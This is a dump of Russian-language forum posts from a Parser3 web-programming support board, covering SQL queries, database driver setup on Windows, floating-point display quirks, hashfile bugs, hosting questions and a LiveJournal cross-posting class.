$result(^math:ceiling($hBROS.[$object.id].row_number / 12))\
# end @_getSlider[]\
\
\
\
##############################################################################\
# достаем из базы порядковые номера продуктов-одногрупников текущего объекта\
@_getProdHashFromDB[parent_id]\
$result[^MAIN:pSQL.int{SELECT @n:=0}]\
$result[^MAIN:pSQL.hash{\
	SELECT\
		id,\
		@n:=@n+1 AS row_number\
	FROM\
		object\
	WHERE\
		parent_id = $parent_id\
	AND\
		is_published = 1\
	ORDER BY\
		sort_order\
}[][\
	$.file[pdigest_${parent_id}.txt]\
]]\
# end @_getProdHashFromDB[][/code]\
\
наверное можно было проще, но ведь мы легких путей не ищем %)"
"66289","Я тоже не программист, 6 лет назад, когда начинал вообще не имел представления как и что работает.\
Что не помешало в общих чертах разобраться и зарабатывать этим на жизнь.\
\
Не ленитесь, пройдите уроки, прочитайте документацию и поизучайте примеры.\
Уроки они для совсем начинающих. Было бы желание.\
\
И не будет таких глупых вопросов, как в начале ветки."
"66290","и не шустро. Обычно можно обойтись без process\
но вы не раскрываете сути задачи, поэтому тут обсуждать нечего"
"66291","и получить сразу N:\
[code]SELECT n FROM \
       (SELECT id, @n:=@n+1 AS n \
        FROM object \
        WHERE parent_id = $parent_id AND is_published = 1\
        ORDER BY sort_order) as tmp\
WHERE id=$iMyId[/code]"
"66292","Есть страница test.html в которой содержится некий код (HTML и Parser).\
\
Этот код надо вставить в страницы \
\
page1.html\
pade2.html\
page3.html\
\
То есть абсолютно одинаковый фрагмент.\
При обычном копи-пейсте необходимо было бы вручную изменять все 3 страницы, а так я меняю код только одной, заливаю ее и в итоге результат виден на всех 3-х страницах.\
\
Может я чего-то не так объясняю"
"66294","G_Z, спасибо за ваши советы, я обязательно задумаюсь над этим.\
Только вот [b]Maxx[/b] дал мне ответ, за что ему спасибо, не капая на моск что я такой нуб и не читал мануал."
"66295","... и получаем чистрый текст, без работающего HTML и Parser'a ..."
"66296","Приведите код."
"66297","Здесь не принято задавать подобные вопросы, даже не пройдя уроков.\
\
По вашему вопросу видно, что вы сами не понимаете что и зачем делаете, т.е. не можете сформулировать задачу, а формулируете необходимость решения, которое придумали сами.\
\
Пока вы не осознаете задачу и не сформулируете именно её — толку от советов нет никакого."
"66298","хотел попробовать хранить hash в базе данных, но что не клеится\
начну с начала:\
1. создал таблицу с полем\
[code]`entry_DEA` varchar(200) NOT NULL default ''[/code]\
\
2. Преобразовал hash в string:\
[code]\
$hDEA[^Convert:hash2str[\
	$.number[$number] ^rem($number не integer)\
	$.print(^printDEA.int(0))\
	$.blank(^blankDEA.int(0))\
	]\
]\
[/code]\
\
3. Вытаскиваю из таблицы:\
[code]\
$hDEA[\
	^if(def $tbl.entry_DEA){\
		^Convert:str2hash[$tbl.entry_DEA]\
	}{\
	^hash::create[] ^rem{пустой hash на всякий случай}\
	}\
]\
[/code]\
\
4. Получаю ошибку:\
\"column not found \
Ошибку вызвал этот фрагмент:\
parent\"\
\
Где я не прав?"
"66301","Для такой задачи нет поводов использовать process.\
\
Приведите код - посмотрим почему не получилось по нормальному (через методы).\
\
А вообще G_Z прав - имеет смысл вдумчиво пройти уроки. Потратите один день - заодно очень многое для вас прояснится. Поверьте, если не вникнете в минимальный набор знаний сейчас - дальше будет хуже.\
\
ТЕМ БОЛЕЕ - не стоит использовать process, не понимая азов. Это сейчас у вас нет форм - потом появятся, и не факт, что вы вспомните в тот момент, что у вас эта форма _где то_ процессится (возможно вместе со всей страницей). А потом может стать очень обидно, когда вам грохнут все."
"66302","Обычно работаю на FreeBSD + Apache + Parser + PostgreSQL\
Сейчас понадобилось поднять то же на WinXP.\
Взял:\
\
parser3_2_3_win32_cgi.zip\
parser3sql_9_6_win32_pgsql.zip\
apache_1.3.35-win32-x86-no_src.msi \
PostgreSQL 8.3.1\
\
Все поставил, отконфигурял.\
Auto.p:\
\
@conf[]\
$confdir[C:/Program Files/Apache Group/Apache/cgi-bin]\
$charsetsdir[$confdir/charsets]\
$sqldriversdir[$confdir/lib]\
\
$CHARSETS[\
	$.koi8-r[$charsetsdir/koi8-r.cfg]\
#	$.windows-1250[$charsetsdir/windows-1250.cfg]\
	$.windows-1251[$charsetsdir/windows-1251.cfg]\
#	$.windows-1257[$charsetsdir/windows-1257.cfg]\
]\
#change your client libraries paths to those on your system\
$SQL[\
	$.drivers[^table::create{protocol	driver	client\
pgsql	$sqldriversdir/parser3pgsql.dll	$sqldriversdir/libpq.dll\
}]\
]\
\
index.html:\
\
</html>\
<body>\
\
^connect[pgsql://postgres:12345@localhost:5432/auth]{\
   $sql_table[^table::sql{select * from auser}] \
}\
\
</body>\
</html>\
\
Получаю  ошибку:\
[Thu May 01 20:12:26 2008] [2080] /: d:/nik/projects/admin/index.html(9:2): 'C:/Program Files/Apache Group/Apache/cgi-bin/lib/parser3pgsql.dll' driver failed to initialize client library 'C:/Program Files/Apache Group/Apache/cgi-bin/lib/libpq.dll', can not open the dynamic link module [<no type>] [uri=/, method=GET, cl=0]\
\
Подскажите, что это и как с ним бороться.\
Под BSD я знаю что делать, а тут опаньки."
"66303","... что ему не нравится - нет клиентской библиотеки по вполне конекретному пути. Выход - положить libpg.dll куда Парсер просит."
"66304","Что сказал Парсер я четко прочитал. Эта библиотека там есть. Из\
пакета parser3sql_9_6_win32_pgsql.zip. Я подумал, может ему хочется\
libpg.dll из установленого PostgreSQL-ля. Взял ее от-туда. Результат тот же. Более того, со старыми версиями Parsera\
такого не было. На работе Parser 3.2.1 под WinXP?, база под \
UNIXом. Работает."
"66306","Доберусь до дома проверю. Рабочую машину трогать не буду.\
Завтра обязательно напишу чем дело закончилось."
"66307","можно ли на втором парсере вести учёт пользователей на сайте используя оператор ^cookie[]?"
"66309","25 тыс. рублей??? Вы, я полагаю, ищете студента на подработку?"
"66311","Совет Misha v.3 помог. Большое спасибо.\
Файлы по директориям расфасованны так:\
\
 Содержимое папки Apache\\cgi-bin\
\
04.05.2008  19:29    <DIR>          .\
04.05.2008  19:29    <DIR>          ..\
03.07.2007  18:16    <DIR>          charsets\
04.05.2008  18:04    <DIR>          lib\
12.10.2005  08:32            24.576 comerr32.dll\
27.12.2007  17:00            73.728 gc.dll\
12.10.2005  08:32           524.288 krb5_32.dll\
03.11.2005  10:50         1я064.960 libeay32.dll\
31.01.2003  17:41           916.849 libiconv-2.dll\
01.02.2003  14:51            51.016 libintl-2.dll\
26.07.2007  17:22           499.712 msvcp71.dll\
05.04.2004  11:09           348.160 msvcr71.dll\
09.04.2008  18:47           446.464 parser3.exe\
03.11.2005  10:50           200.704 ssleay32.dll\
 \
 Содержимое папки Apache\\cgi-bin\\lib\
\
04.05.2008  19:33    <DIR>          .\
04.05.2008  19:33    <DIR>          ..\
17.09.2007  08:09           187.044 libpq.dll\
27.12.2007  17:27            20.480 parser3pgsql.dll\
\
 Содержимое папки Apache\\cgi-bin\\charsets\
\
04.05.2008  19:33    <DIR>          .\
04.05.2008  19:33    <DIR>          ..\
24.07.2003  15:31             4.370 koi8-r.cfg\
31.01.2002  14:20             4.488 windows-1250.cfg\
28.06.2007  19:25             5.402 windows-1251.cfg\
11.09.2002  13:40             4.362 windows-1254.cfg\
13.02.2002  15:52             4.532 windows-1257.cfg\
\
Может стоит ReadMe кокое нибудь вложить в архив pgsql-ных дров?"
"66319","Хотелось узнать существуют оные в природе или решения так и не вызрели.\
Поиск по форуму дал такие ветки:\
http://www.parser.ru/forum/?id=60616\
http://www.parser.ru/forum/?id=57461\
http://www.parser.ru/forum/?id=54434\
но их чтение, так и не прояснило ситуацию.\
\
Действительно, есть что-либо для автоматизации процесса генерации и(или) валидации форм на парсере?"
"66321","Собираюсь сделать сайт и клиент очень хочет хостится на yahoo.com (больно красивый там e-mail), может кто-то пробовал установить Парсер там, есть ли какие-то подводные камни?"
"66322","что-то я не вижу у них упоминания о возможности использования бинарных cgi приложений.\
\
http://smallbusiness.yahoo.com/webhosting/hostingfeatures.php\
\"Advanced design options\":\
[quot]\
- Support for third-party tools like FrontPage 2000/2002 and Dreamweaver**\
- PHP version 4.3.11 and support for hundreds of PHP functions\
- Perl version 5.8.7 and support for the standard library plus 12 additional modules\
- MySQL 4.1, with unlimited databases\
- Support for most FTP accounts\
- Support for Flash, Shockwave, videos, and more\
- Blogging options for beginners and professionals, including Yahoo! 360°, WordPress, and Movable Type\
- Web site enhancements, like guestbooks, PayPal payment, Yahoo! Maps, site search, phpBB bulletin boards, and PHP-Nuke content management\
[/quot]"
"66323","вобщем такая проблема.\
решил сделать так. есть база данных в ней таблица.\
[code][code]id name uri instructions\
1	админ	\\admin\\	^navigation[]\
\
^connect[$SQL.connect-string]{\
$struk[^table::sql{select id, name, uri, instructions from menu}]\
[/code]\
вот когда вызываю то что попало в переменную $struk.instructions\
то почему то просто содержание данного поля выводится.. в виде ^navigation[]\
\
а если в поле вписать html теги, например <hr> то когда вызываешь ту переменную тем же запросом рисуется черта.\
\
если же просто написать вызов ^navigation[] то он без проблем вызывается, а когда его через запрос делаешь то он пишется простым текстом.\
пробовал делать и taint и untaint не помогает..\
\
почему так происходит ?"
"66324","усть такое слово process"
"66325","Все работает. спасибо большое ))"
"66326","[b]HTML 1[/b]\
\
[code]\
<script type=\"text/javascript\" src=\"jquery.js\"></script>\
\
<input type=\"text\" id=\"Text\">\
<input type=\"button\" value=\"Test\" onclick=\"^$.ajax({\
	url: 'test2.html',\
	type: 'post',\
#	contentType: 'application/x-www-form-urlencoded',\
	contentType: 'multipart/form-data',\
	data: { sText: ^$( '#Text' ).val() },\
	success: function( jResult ){ ^$( '#Result' ).html( jResult ) }\
})\">\
<div id=\"Result\"></div>\
[/code]\
\
\
[b]HTML 2[/b]\
[code]\
@main[]\
$result[$request:body]\
[/code]\
\
\
Ошибка появляется при появлении строки:\
[code]contentType: 'multipart/form-data'[/code]\
\
\
[b]P.S.[/b]\
3.2.3 (compiled on i386-pc-win32)"
"66328","Из jquery.js используются разные внутренние функции вроде $.each, $.param и других, не существенно, как мне кажется. AJAX-функция в test1.html"
"66329","там наверняка можно сделать ^request:body.save[binary;...] и потом без доп. запросов читать и выдавать (наверняка на выдаче падает)."
"66331","с 2003 года пытаюсь использовать парсер в многочисленных мелких проектах, НО во многих случаях останавливает отсутсвие драйверов под юникс для соединения с Interbase/Firebird и MSSQL ...\
\
господа умеющие писать такие драйвера, оцените свою работу и предложите цену, готов заплатить во имя распространения парсера на многие free проекты...."
"66332","Хочется реализовать кросспостинг новостей/записей со своего сайта на популярные движки блогов. Если ли уже готовые Парсер классы, реализующие стандартные блог-API (Blogger, MT, LJ(что он там юзает), WP)?\
Нужен класс именно клиента XMLRPC сервер пока не хочу.\
\
Заранее благодарен."
"66333","[i]Perl version 5.8.7 and support[/i]\
Так что ExecCGI скорее всего включен, должно заработать."
"66334","то, что пользователи могут писать на Perl, как и то, что служба поддержки в некоторых случаях по требованию не откажется доустановить какую-либо стандартную pm-ку совершенно не означает, что там будут работать бинарные cgi приложения (последнее обычно прописывают явно)."
"66335","У них многие вещи решаются днями общения с саппортом по телефону. Дешевле купить недорогой хостинг, где \"просто все работает\"."
"66338","Я им звонил и сходу они мне смогли сказать есть ли доступ к cgi-bin вообще, но предложили попробовать, а если что вернуть капусту. Скорее всего так и сделаю."
"66339","Что касается развести почту и хостинг, то тут я не силён. Вы предлашаете просто форвардить всю почту на yahoo.com? или же есть более правильные способы? \
\
Ко все пророчему, хотелось бы иметь несколько разных аккаунтов."
"66340","... публичные почтовики предоставляют возможность пользоваться их интерфейсом на своем домене. Такие услуги есть у Гугла, Майкрософта (Live Hotmail), Почты.ру и пр.\
\
https://www.google.com/a/ - это Гугловая система."
"66341","Я знал что так можно, но думал что придется платит бабос и даже не пробовал, а тут все for free. Спасибо."
"66342","У меня, например, почта всей компании живет на яховских почтовых серверах и их же интерфейсе. Некоторые эккаунты форвардятся на гугл почту, а сервер живет в соседней комнате. Есть определенные нюансы, с которыми можно столкнуться при такой \"распределенной\" организации: яху меньше любит почту которая форвардится с гугла, чем наоборот. А гугл гораздо больше любит почту, которая форвардится напрямую, а не забирается по поп3. Яху слабее в борьбе со спамом и там нет имап-протокола. ДНС-контроль на яхе не самый лучший, но терпимый. У Висты проблемы с гугловским имапом и т.д.\
\
Все это (а) субьективно (б) меняется со временем."
"66344","Не уверен, что значение HTTP_REFERRER существует. Возможно HTTP_REFERER ?"
"66346","Объясните как это может быть, что у меня Parser выводит в результате арифметических операций \"-0\" :)\
\
К примеру в такой конструкции:\
\
[code]$iEndBalance($iBeginBalance+${iCurrentProfits}+${iCurrentTransferIn}-${iCurrentLoses}-$iCurrentTransferOut)[/code]"
"66347","Где-то в коде, видимо, ошибка.\
\
Что мешает написать по-человечески:\
[code]$iEndBalance($iBeginBalance + $iCurrentProfits + $iCurrentTransferIn - $iCurrentLoses - $iCurrentTransferOut)[/code]\
— понять затрудняюсь."
"66350","Простой пример, везде выводится только ноль, без минусов:\
\
[code]\
$iResult(1 - 1)\
$iResult\
\
\
<br />\
^eval(1 - 1)\
\
<br />\
\
$iFirst(1)\
$iSecond(1)\
$iResult($iFirst - $iSecond)\
$iResult\
[/code]\
\
P.S. Parser 3.2.3 (compiled on i386-pc-win32)"
"66352","Сабж:\
\
Как назначить обработчиком файлов без расширения парсер?\
\
К примеру, у меня на одном компьютере, где стоит старый денвер запросы к апачу вида site.ru/edit?id=1 прокатывают, хотя edit имеет расширение html и .htaccess одинаковые везде."
"66353","[code]$iResult(0.51 + 1052.62 - 0 - 1053.13)\
^iResult.format[%.2f][/code]"
"66356","Parser 3.2.1sp2 (compiled on i386-pc-win32):\
\
[code]\
$iResult(1053.13 - 1053.13)\
^iResult.format[%.2f]\
# 0.00\
\
$iResult(1053.12 + 0.01 - 1053.13)\
^iResult.format[%.2f]\
# -0.00\
\
^eval(1053.12 + 0.01 - 1053.13)\
# -0\
[/code]\
\
\
Parser 3.2.3 (compiled on i386-pc-win32)\
\
[code]\
$iResult(1053.13 - 1053.13)\
^iResult.format[%.2f]\
# 0.00\
\
$iResult(1053.12 + 0.01 - 1053.13)\
^iResult.format[%.2f]\
# -0.00\
\
^eval(1053.12 + 0.01 - 1053.13)\
# -2.27374e-013\
[/code]"
"66358","если о последнем eval, то попробуйте в 321 и 323 ещё и такое:\
[code]\
^eval(-1053.12 - 0.01 + 1053.13)\
\
$dValue(23.62436)\
$dValue<br />\
\
$dValue(-23.62436)\
$dValue<br />\
[/code]\
\
в 322 было сделано так, чтобы автоформатирование отрицательных дробных чисел соответствовало оному для положительнйх дробных чисел. \
\
\
по поводу -0 -- надо будет подумать, т.к. эту строку формирует системный snprintf (как видите -0 в 321 все равно присутствует).\
\
\
также можете освежить в памяти: [url=\"/forum/?id=47818\"]как аккуратно работать с числами с плавающей точкой[/url]."
"66359","Я тоже скидываюсь. )"
"66361",":)\
Ко мне в новости ежедневно несколько новостей приходит угадайте сколько % таких новостей я пропускаю"
"66363","Не пробовал, но возсможно стоить обратить внимание на ODBC драйвер"
"66365","Я не знаю, сколько чего вы куда пропускаете, у меня пользователи хотят, чтобы их записи сделанные у меня на ресурсе кросспостились в другие их дневники автоматически, дабы им не приходилось одно и то же копимровать туда-сюда руками. Лучше бы не обличением занимались, почем зря, а помогли или вообще молчали.\
Если резковато - приношу извинения, со времен фидо не люблю оффтопа, когда есть конкретный вопрос и ожидается конкретный ответ длиной в 1 URL.\
\
P.S.\
И я очень надеюсь, что Парсер-сообщество уже было озадачено такой надобностью и возможно уже написало хороший-красивый-удобный код и мне не придется изобретать велосипед."
"66366","Папки\
[code]	/peoples/\
	/history/\
	/economics/[/code]\
на сервере не существуют.\
\
Соответсвенно, апач говорит, что это 404, поэтому в .htaccess написано\
[code]	ErrorDocument 404 /[/code]\
\
Далее $request:uri сверяется с БД и выдается корневой index.html, в который подставляются нужные данные. И в строке адреса тоже остается то что нужно.\
\
Все работает как надо, но статус страницы — 404.\
\
Может быть я вообще неправильный алгоритм придумал? Это как-то по-другому делается? Расскажите, пожалуйста.\
\
Или, как сменить статус при выдаче?"
"66369","Я отдавал $response:body[\"HTTP/1.1 200 OK\"].\
А сейчас попробовал $response:status(200).\
Получилось, теперь вместо 404 — 200. Спасибо большое.\
\
А эти действия для соблюдения нормального адреса — правильны/верны?"
"66370","Например тут - http://www.egoroff.spb.ru/portfolio/apache/mod_rewrite.html\
\
Думается, это то что вам нужно"
"66371","а есть парсерный драйвер ОДБС под юникс (в частности под Фрю)?"
"66372","Для Livejournal flat API есть такой код:\
\
[code]\
###############################################################################################\
#  Класс синхронизации с LJ\
#\
@CLASS\
lj\
\
###############################################################################################\
#  Инициализация базы \
#\
@init[lj_user;lj_password][]\
$ljUser[$lj_user]\
# hashed password!\
$ljPass[$lj_password]\
\
$ljAgent[Mozilla/4.0 ^[LJBot from http://creator.bcsoft.org/^; ljbot@bcsoft.org^]]\
\
###############################################################################################\
#  Парсинг ответа LJ flat API\
#\
@ljParseResponse[resp][pairs;propname;propvalue]\
$pairs[^resp.split[^#0A;v]]\
$result[^hash::create[]]\
\
^pairs.menu{\
	^if(def $propname){\
		$propvalue[$pairs.piece]\
		^if(def $propvalue){\
			$result.[$propname][$propvalue]\
			$propname[]\
		}\
	}{\
		$propname[$pairs.piece]\
	}\
}\
\
###############################################################################################\
#  Авторизация challenge/response\
#\
@ljAuth[][f;resp]\
^try{\
	$f[^file::load[text;http://www.livejournal.com/interface/flat;\
		$.method[POST]\
		$.timeout(60)\
		$.charset[utf-8]\
		$.form[\
			$.mode[getchallenge]\
		]\
		$.headers[\
			$.User-Agent[$ljAgent]\
		]\
	]]\
\
	$result[^ljParseResponse[$f.text]]\
	$resp[^math:md5[${result.challenge}^ljPass.lower[]]]\
	$result.response[^resp.lower[]]\
}{\
	$exception.handled(1)\
}\
\
###############################################################################################\
#  Постинг нового сообщения\
#\
@ljPost[d;subj;text;id][authHash;id]\
\
$authHash[^ljAuth[]]\
\
^if($authHash.success eq \"OK\"){\
	^try{\
		$f[^file::load[text;http://www.livejournal.com/interface/flat;\
			$.method[POST]\
			$.timeout(60)\
			$.charset[utf-8]\
			$.form[\
				^if(def $id && $id > 0){\
					$.mode[editevent]\
					$.itemid[$id]\
				}{\
					$.mode[postevent]\
				}\
				$.user[$ljUser]\
				$.auth_method[challenge]\
				$.auth_challenge[$authHash.challenge]\
				$.auth_response[$authHash.response]\
				$.lineendings[unix]\
				$.subject[$subj]\
				$.event[$text]\
				$.year[$d.year]\
				$.mon[$d.month]\
				$.day[$d.day]\
				$.hour[$d.hour]\
				$.min[$d.minute]\
			]\
			$.headers[\
				$.User-Agent[$ljAgent]\
			]\
		]]\
		\
		$result[^ljParseResponse[$f.text]]\
		^if(def $result.id){\
#			already in ID			\
		}{\
			$id[^result.url.match[http://.*.livejournal.com/(\\d+)\\.html]]\
			^if(def $id.1){\
				$result.id[$id.1]\
			}{\
				$result.id[0]\
			}\
		}	\
		\
	}{\
#		$result[$authHash]\
		$exception.handled(1)\
	}\
}{\
	$result[$authHash]\
}\
\
[/code]"
"66373","я не то Вам ответил :)\
\
ненашёл НЕ глючного ODBC драйвера для interbase|firebird под юникс, unixODBC + платный ИзиСофт очень прикольно совместно глючат, причём одну из проблемок знают уже с 2006года, и всё никак....\
\
возможно ктото знает лучшую связку?"
"66375","[code]$hf[^hashfile::open[$path/hashfile]]\
$str1[^hf.foreach[a;b]{***}][/code]\
\
В $str1 получается не строка, а новый хеш, который если пеперебрать:\
[code]$str2[^str1.foreach[c;d]{$c - $d}[, ]][/code]\
\
получим:\
[code]$str2[/code]\
[quote]a - имя ключа $hf, b - значение ключа $hf[/quote]\
\
Если из hashfile сделать обычный hash соответствующим методом, то перебор работает нормально, в srt1 будет \"*** Х число ключей\"\
\
Parser 3.2.3 release"
"66376","у меня присутствует и в 3.2.1, т.е. это не связано с небольшими изменениями в работе контекстов чтения/записи из 3.2.3.\
\
причину нашел, скоро поправлю в cvs"
"66378","Если так, то странно, что этого бага раньше никто не находил.\
Ведь метод ^cleanup[] появился только в 3.2.2, а до этого хеши чистились как раз через ^foreach[].\
Либо парсер не обновляют, либо вообще этим функционалом мало кто пользуется:-)\
\
Кстати, а какой expires по умолчанию, если его не задавать - запись сохраняется навсегда, как и при $.expires(0)?"
"66379","дык ты попробуй написать:\
^hashfile.foreach[k;v]{} -- всё работает, в body не происходит попытки записать хеш.\
\
проблема именно в указанным тобой случае: $var[^hashfile.foreach[k;v]{}]\
\
по моему hashfile мало кто использует, иначе его баги давно бы уже найши и сообщили о них.\
\
btw: в head я поправил указанный баг (+ добавил тесты для hashfile), если не сложно -- проверь плиз.\
\
\
насколько я понимаю, по умолчанию expires == 0 == навсегда (сам не пользовался, в код не смотрел)."
"66381","^hashfile.foreach[k;v]{} -- да, так работает, я просто тоже никогда этим не пользовался:-)\
\
Собрал из HEAD, твой тест не прогонял, а проверил у себя в движке -- [b]работает[/b].\
Спасибо!\
\
А когда вот этот баг появился?\
[quote]* src/classes/file.C 1.169:\
- bugfix: double absolute path while loading file[/quote]\
\
Пару дней назад переходил на 3.2.3, но сначала собрал бету из HEAD, по забывчивости, и там ^file::load[] как раз дублировал путь, хотел писать в форум, но потом собрал релиз 3.2.3, в котором этой ошибки нет. Т.е. она появилась после релиза?"
"66382","после сборки тесты лучше прогонять, а то мало-ли:\
[code]\
cd tests\
[g]make tests\
[/code]\
\
\
этот баг я добавил в head недавно, когда делал, чтобы file::stat происходил одновременно с file::load. не заметил, т.к. на win32 это работало, а после commit-а я не прогнал тесты на *nix. прогнал-бы -- сразу бы увидел."
"66383","Иногда их прогоняю.\
\
Сейчас прогнал на текущем head -- всё ок, кроме тестов с XDoc, т.к. я парсер без xml собрал. Позже проверю с xml, но думаю, что там будет всё хорошо.\
\
Т.е. сейчас после file::load можно получить поля file::stat или я не так понял про \"одновременность\"?"
"66384","есть ньюанс с полем .size загруженных текстовых файлов ::load[text;] -- возвращаемое значение в общем случае не равно размеру файла на диске, т.к. для текстовых файлов производитя нормализация символов конца строки и перекодирование."
"66386","На код\
[code]@update_last_request_time[][result]\
	^self.db{\
		^void:sql{UPDATE $TABLES.SESSION SET `last_request_time` = NOW() WHERE `session_id` = '$session_id'}	\
	}[/code]\
получаю [quote]syntax error, unexpected BAD_NONWHITESPACE_CHARACTER_IN_EXPLICIT_RESULT_MODE, expecting ';' or '}'[/quote] на строку [code]@update_last_request_time[][result][/code]\
\
Это баг или я что-то упустил?"
"66387","@update_last_request_time[]"
"66388","Вы, при явно определённом result, выдаёте в теле метода кучку табов.\
\
http://www.parser.ru/docs/lang/definemethod.htm"
"66389","Особенно [quote]expecting ';' or '}'[/quote]"
"66390","а разве таб - не пробельный символ?\
\
[quote]Если в методе явно объявить локальную переменную result, это укажет Parser, что нужно проигнорировать все пробельные символы и [b]считать ошибочными любые не пробельные символы[/b], если их явно не присваивают переменной result. [/quote]\
\
далее в пояснении к примеру из доки:\
[quote]Важно: в приведенном примере не будет выдано ни одного символа перевода строки, пробела или [b]табуляции[/b]. [/quote]\
\
т.е. мое понмании указанный метод должен вернуть пустую строку, т.е. тоже самое как если было бы указано $result[]\
\
UPD. Я так понимаю парсер ругается на явно вписанные символы в void"
"66391","Ну, по коментарию и тексту ошибки — к тому, кто его писал.\
\
Как показал эксперимент, ругань идёт на те пробельные символы, которые лежат в junction.\
Т.е., выходит, что они присвоены не напрямую, а получены в результате исполнения кода.\
Что означает их окраску через taint.\
В результате это уже не пробельные символы, а неопределённо «грязные» данные из внешнего источника.\
\
Т.о., поведение верное.\
\
Примеры.\
Код с ошибкой:\
[code]\
@update_last_request_time[][result]\
	^self.db{\
		^void:sql{UPDATE $TABLES.SESSION SET `last_request_time` = NOW() WHERE `session_id` = '$session_id'}	\
	}\
[/code]\
\
Код без ошибки:\
[code]\
@update_last_request_time[][result]\
	^taint[as-is][^self.db{\
		^void:sql{UPDATE $TABLES.SESSION SET `last_request_time` = NOW() WHERE `session_id` = '$session_id'}	\
	}]\
[/code]\
\
Я бы написал по-другому и забыл об ошибке:\
[code]\
@update_last_request_time[]\
^self.db{\
	^void:sql{UPDATE $TABLES.SESSION SET `last_request_time` = NOW() WHERE `session_id` = '$session_id'}	\
}\
\
$result[]\
[/code]"
"66392","Я пришёл к такому же выводу, и от проблемы ушёл аналогично. Спасибо!"
"66393","Много было сказано про хостинг от rusonyx, но решение этих проблем сопровождалось небольшим примечанием: \"для тарифов VPS\".\
\
У меня сайт размещен на простом виртуальном хостинге. Парсер работает нормально, а вот драйвер MySQL не хочет:\
\
[quot]driver failed to initialize client library 'libmysqlclient.so', libmysqlclient.so: cannot open shared object file: No such file or directory[/quot]"
"66394","а потом поиск по форуму.\
\
а когда сами поймёте что происходит, сами предпримите какие-то шаги по решению проблемы, но вдруг не сможете добиться результата -- приходите и рассказывайте что вы делали."
"66395","[code]\
@update_last_request_time[][result;fake]\
$fake[^self.db{\
^void:sql{\
    UPDATE $TABLES.SESSION \
    SET `last_request_time` = NOW() \
    WHERE `session_id` = '$session_id'}	\
}][/code]"
"66396","обратил внимание на ОДБС драйвер, на своем домашнем сервере поставил с 140 пинков запустил, настроил, вроде (ещё раз: вроде) работает\
НО _хостеры_ не хотят с этим морочиться\
НО _админы_ на предприятиях не хотят с этим морочиться (блаблабла про то что на боевом внешнем будет чтото ещё что им надо будет в случае чего ремонитировать/поддерживать/не_забыть_в_случае_чего\
\
посему: очень хочеться \"легкого\" решения в виде обычного для парсера иниксового драйвера для фаирбёрда"
"66397","У меня там все работает и на 64битном сервере и на обычном\
Стучите в асю 98898826, может помогу ;)"
"66398","Искал по форуму не нашел, может не по тем словам искал.\
\
Показываю на упрощенном примере\
\
$ob[^table::sql{\
	(SELECT id, date FROM dom WHERE\
	UNION\
	(SELECT id, date FROM kvartira)\
        ORDER BY date\
   }]\
\
Как сделать, чтобы сразу в таблице ob появился дополнительный столбец, куда можно былобы записывать скажем имя таблицы.\
Т.е. чтобы часть данных записывалась из sql а часть парсером."
"66399","[code]\
$ob[^table::sql{\
(SELECT id, date, 'dom' as tableName FROM dom)\
UNION\
(SELECT id, date, 'kvartira' as tableName FROM kvartira)\
}]\
[/code]\
\
p.s. Хотя сама постановка задачи мне кажется, мягко говоря, странной."
"66400","Ладно, объясню по-порядку\
\
Есть несколько таблиц - dom, kvartira, uchastok, и т.д.\
\
Я хочу в новую таблицу выбрать с каждой таблицы последние скажем 10 строк. Но чтобы знать с какой таблицы взята каждая строка сделать доп столбец dop_st и записывать туда 1, 2, 3, и т.д.\
Т.е в новой таблице все строки взятые из таблицы kvartira будут в столбце dop_st хранить цифру 2.\
\
Как это все организовать?"
"66403","Поскольку \
[quote]По умолчанию используется кодировка UTF-8. [/quote]\
нужно ли определять кодировку UTF-8 в конфигурационном файле?"
"66404","[quot]\
Всегда доступна и не нуждается в загрузке файла кодировка UTF-8, являющаяся для Parser кодировкой по умолчанию.\
Чтобы сделать доступными для использования Parser другие кодировки, необходимо указать файлы их описывающие, делается это так:\
[code]\
$CHARSETS[\
   $.windows-1251[/полный/путь/к/windows-1251.cfg]\
   …\
] \
[/code]\
[/quot]\
http://www.parser.ru/docs/lang/parserconfmethod.htm\
\
[quot]\
После выполнения конфигурационного метода можно задать кодировку ответа и кодировку, в которой набран код (по умолчанию в обоих случаях используется кодировка UTF-8): \
\
Рекомендуемый код:\
[code]@auto[]\
#source/client charsets\
$request:charset[windows-1251]\
$response:charset[windows-1251]\
$response:content-type[\
   $.value[text/html]\
   $.charset[$response:charset]\
]\
[/code]\
\
Примечание: для корректной работы методов upper и lower класса string с национальными языками (в том числе русским) необходимо корректное задание $request:charset.\
[/quot]\
http://www.parser.ru/docs/lang/parserconfig.htm"
"66407","на боевом:\
\
> uname -a\
FreeBSD frontier.azimex.com 5.5-PRERELEASE FreeBSD 5.5-PRERELEASE #2: Fri Mar 24 17:48:48 EET 2006  \
\
поставили unxiODBC, firebird-client (1.5.5) из портов\
\
а вот OdbcFb32-beta-2.0.0144 не собрался :( а почему - тамошние админы разбираться не хочуть....\
\
а ведь если бы был парыерный клиент для firebird, то на том серваке стартонуло бы аж 8 проектов с использованием парсера, а теперь будут передумывать как их стартовать на джумле.\
\
господа ПРОГРАММИСТЫ! ещё раз: готов заплатить вменяемые деньги за парсерный драйвер под FreeBSD для FireBird (Interbase)"
"66408","P.S. я про это: http://www.parser.ru/forum/?id=26033\
P.P.S. причём вам-же тогда и отвечали"
"66409","спасибо за наводку, но насколько я помню в далёком 2004м гОде у товарища Arto(ат)pisem.net в планах не было реализации сетевого коннекта, а нужен \"именно он\". \
Товарисчц Арто на всякий случай отписался, буду ждать результата..."
"66410","Задача: поддерживать существующие сайты и разрабатывать новые.\
\
Работы много.\
\
[url=\"mailto:parser@i.ua\"]parser@i.ua[/url]"
"66411","Я хочу, итоговую таблицу отсортировать по дате, и затем перебирая каждую сторку таблицу, нужно знать из какой таблицы выбрана эта строка."
"66413","Здравствуйте! Кто может написать за плату модуль на Парсере?\
\
Модуль такой. Нужно организовать на сайте прием оплаты банковскими картами и переводами в Европе.\
Соответственно нужно найти сервис и написать на Парсере модуль.\
Модуль должен иметь только API (то есть без веб-интерфейса).\
\
Напишите на почту: khusamov@yandex.ru\
Нужна цена и срок изготовления."
"66414","не совсем АПИ, но модуль работает и принимает платежи со всего мира. могу поделиться исходниками просто так )\
\
59153059"
"66415","Прочитал:\
[quote]…driver failed to initialize client library '/path/to/libparser3mysql.so'…\
libparser3mysql.so это не клиентская библиотека MySQL, а драйвер парсера. Вам в таблице драйверов нужно указать путь к этому драйверу и путь к клиентской библиотеке libmysqlclient.so. Местоположение драйвера вам известно (вы его сами копировали на сервер), а местоположение клиентской библиотеки вам может подсказать администратор вашего сервера если оно отличается от общепринятого.[/quote]\
А где прописывается местоположение клиентской библиотеки?"
